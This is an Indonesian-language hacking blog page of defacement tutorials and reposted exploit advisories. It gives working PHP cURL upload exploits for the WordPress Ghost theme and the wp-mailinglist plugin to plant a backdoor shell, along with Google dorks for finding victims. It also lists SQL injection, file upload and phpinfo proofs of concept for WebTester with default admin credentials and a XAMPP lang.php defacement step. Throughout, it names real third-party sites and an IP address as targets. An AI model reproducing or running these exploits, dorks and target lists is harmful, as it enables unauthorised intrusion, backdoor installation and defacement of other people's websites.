Cara deface dengan Teknik WordPress Ghost theme File Upload

kali ini saya akan share tutorial Deface dengan Teknik Wordpress Ghost Theme File Upload ,
Exploit Aslinya Disini http://1337day.com/exploit/21416


Cara deface kali ini membutuhkan bantuan XAMPP

Download XAMPP : DISINI

Google Dork : inurl:wp-content/themes/Ghost/

Jika Sudah terinstall kamu buka PHP.ini , cek di System C > xammp > php > php.ini

Lalu tekan CTRL+F lalu ketikkan curl lalu hapus tanda titik dua koma ( ; )

Sekarang Copy Exploitnya

<?php

$uploadfile="yourFile.php";

$ch = curl_init("http://{target}/wp-content/themes/Ghost/includes/uploadify/upload_settings_image.php");

curl_setopt($ch, CURLOPT_POST, true); 

curl_setopt($ch, CURLOPT_POSTFIELDS,

        array('Filedata'=>"@$uploadfile"));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

?>




Lalu yourFile.php diganti dengan nama shell backdoor kalian yang sudah di masukan ke dalam folder xampp>php

Disini nama shell saya 007.php

dan juga masukin target nya dengan mencari mengunakan dork yang tadi

disini saya mendapat target http://www.hibra.com.ar/

sekarang kita hanya perlu menambahkan

/wp-content/themes/Ghost/includes/uploadify/upload_settings_image.php

Dan akan menjadi seperti ini http://www.hibra.com.ar/wp-content/themes/Ghost/includes/uploadify/upload_settings_image.php 

Dan bila ada tulisan {"status":"NOK", "ERR":"This file is incorect"}

itu biasa nya VULN

setelah itu simpan...disini saya simpan dengan nama x.php

sekarang kita buka CMD

buka exploit tersebut mengunakan CMD

 karna saya simpan dengan nama x.php jadi untuk membuka nya php x.php

Bila muncul seperti ini berarti berhasil

Untuk shell Acces berada disini http://site.com/wp-content/uploads/settingsimages/namashell.php

Karna nama shell saya 007 jadi membuka shell nya http://www.hibra.com.ar/wp-content/uploads/settingsimages/007.php 

semoga bermanfaat :D 

Selamat Malam

Read more

Wordpress plugins wp-mailinglist Arbitrary File Upload

#######################################################
# Exploit Title:Wordpress plugins wp-mailinglist Arbitrary File Upload
# Google Dork: "inurl:/wp-content/plugins/wp-mailinglist/"
# Exploit Author: Index Php
# Tested on: Windows, PHP 5.2
# File Type : Txt
# Author 2 : MrTieDie
# Tested on : Windows 7, Php Xampp
#######################################################
#exploit

<?php

$uf="your_file.txt";
$c = curl_init("http://target.com/wp-content/plugins/wp-mailinglist/vendors/uploadify/upload.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uf",
'folder'=>'/'));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($c);
curl_close($c);

print "$postResult";
?>


File path http://target.com/wp-content/uploads/wp-mailinglist/uploadify/random_name.txt

Demo sites
http://www.freresdeshommes.org/wp-content/plugins/wp-mailinglist/vendors/uploadify/upload.php
http://www.whitelodge.com.sg//wp-content/plugins/wp-mailinglist/vendors/uploadify/upload.php
http://www.prairieswine.com/wp-content/plugins/wp-mailinglist/vendors/uploadify/upload.php Read more

WebTester 5.x Multiple Vulnerabilities

==========================================================================================
WebTester 5.x Multiple Vulnerabilities
==========================================================================================

:--------------------------------------------------------------------------------------------------------------------------

--------------:
: # Exploit Title : WebTester 5.x Multiple Vulnerabilities
: # Date : 15 October 2013
: # Author : X-Cisadane
: # CMS Developer : http://epplersoft.com/webtester.html
: # CMS Source Code : http://sourceforge.net/projects/webtesteronline/
: # Version : ALL
: # Category : Web Applications
: # Vulnerability : SQL Injection, Arbitrary File Upload, PHPInfo() Disclosure, Leftover install.php File
: # Tested On : Google Chrome Version 26.0.1410.64 m (Windows XP SP 3 32-Bit English)
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club, Jabar Cyber,

Winda Utari
:--------------------------------------------------------------------------------------------------------------------------

--------------:

DORKS (How to find the target) :
================================
intext:Copyright © 2003 - 2010 Eppler Software
inurl:/go.php?testID=
intitle:WebTester Online Testing
Or use your own Google Dorks :)

Proof of Concept
================

[ 1 ] SQL Injection
POC : http://[Site]/[Path]/startTest.php?FirstName=a&LastName=a&TestID=['SQLi]
Example :
http://simuladodireitocespe.com/startTest.php?FirstName=a&LastName=a&TestID='5
http://www.huertos.eu/encuesta/startTest.php?FirstName=a&LastName=a&TestID='5
http://autoskola-buratrans.com/templates/default/ispiti/startTest.php?FirstName=a&LastName=a&TestID='5
http://conalepnl091.sytes.net/simulador/startTest.php?FirstName=a&LastName=a&TestID='5
http://learnin.elschool.pl/startTest.php?FirstName=a&LastName=a&TestID='5
...etc...

[ 2 ] Arbitrary File Upload through TinyMCE (plugins/filemanager)
Webster 5.x has a built-in WYSIWYG Editor, that is TinyMCE. The attacker can upload file through the TinyMCE File Manager.
It can be found in tiny_mce/plugins/filemanager.

Poc : http://[Site]/[Path]/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
Example the target is http://onlinetests.germaniak.eu/
Change the url to http://onlinetests.germaniak.eu/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
Pic #1 : http://i40.tinypic.com/117z390.png
Then tick : Insert filetype icon, Insert file size & Insert file modification date.
Click upload and wait until the file sent to the server.
Pic #2 : http://i39.tinypic.com/2wluaon.png
Pic #3 : http://i40.tinypic.com/2uh0fir.png
If the file was successfully uploaded, check in the /test-images/ directory.
For Example :
http://onlinetests.germaniak.eu/test-images/
http://www.rzecznik.org/test/test-images/
http://simula.se/fun/webtester5/test-images/
http://811lifestylecoach.com/test-images/
http://umpire-test.splashprojects.co.uk/test-images/
http://zamoweb.altervista.org/test-images/
...etc...

[ 3 ] PHPInfo() Disclosure
POC : http://[Site]/[Path]/phpinfo.php
Example :
http://mhsquiz.marbleheadschools.org/webtester/phpinfo.php
http://test.auzefiu.com/phpinfo.php
http://test.deltaschools.com/phpinfo.php
http://www.noordskool.com/toetse/phpinfo.php
http://bocahomehealth.com/exam/phpinfo.php
...etc...

[ 4 ] Leftover install.php File
POC : http://[Site]/[Path]/install.php
Example :
http://www.ibeucamposmacae.com.br/webtester5/install.php
http://briefhealthprograms.com/webtester5/install.php
http://intgvna.gardnervna.org/test/install.php
http://delarcollege.com/POSTUTME/install.php
http://www.orionhs.org/webtester/install.php
...etc...

Bonus : Default Username and Password
Username : admin
Password : admin
Admin Control Panel : http://[Site]/[Path]/admin/ Read more

XAMPP FOR LINUX WRITE ACCESS VULNERABILITY

Exploitnya masih hangat nih :P

Dork:
1. allinurl:/xampp/
2.inurl:/xampp/index.php

cari target make dork yang udah ane siapin :D

nih gua nemu target http://110.4.47.228/xampp/index.php

abis tuh ganti http://110.4.47.228/xampp/index.php dengan http://110.4.47.228/xampp/lang.php?Hacked_By_Byte-007 abis tuh enter

kalo tampilan udah seperti ini langsung aja buka
http://110.4.47.228/xampp/lang.tmp

Jadi deh :P simple kan? Read more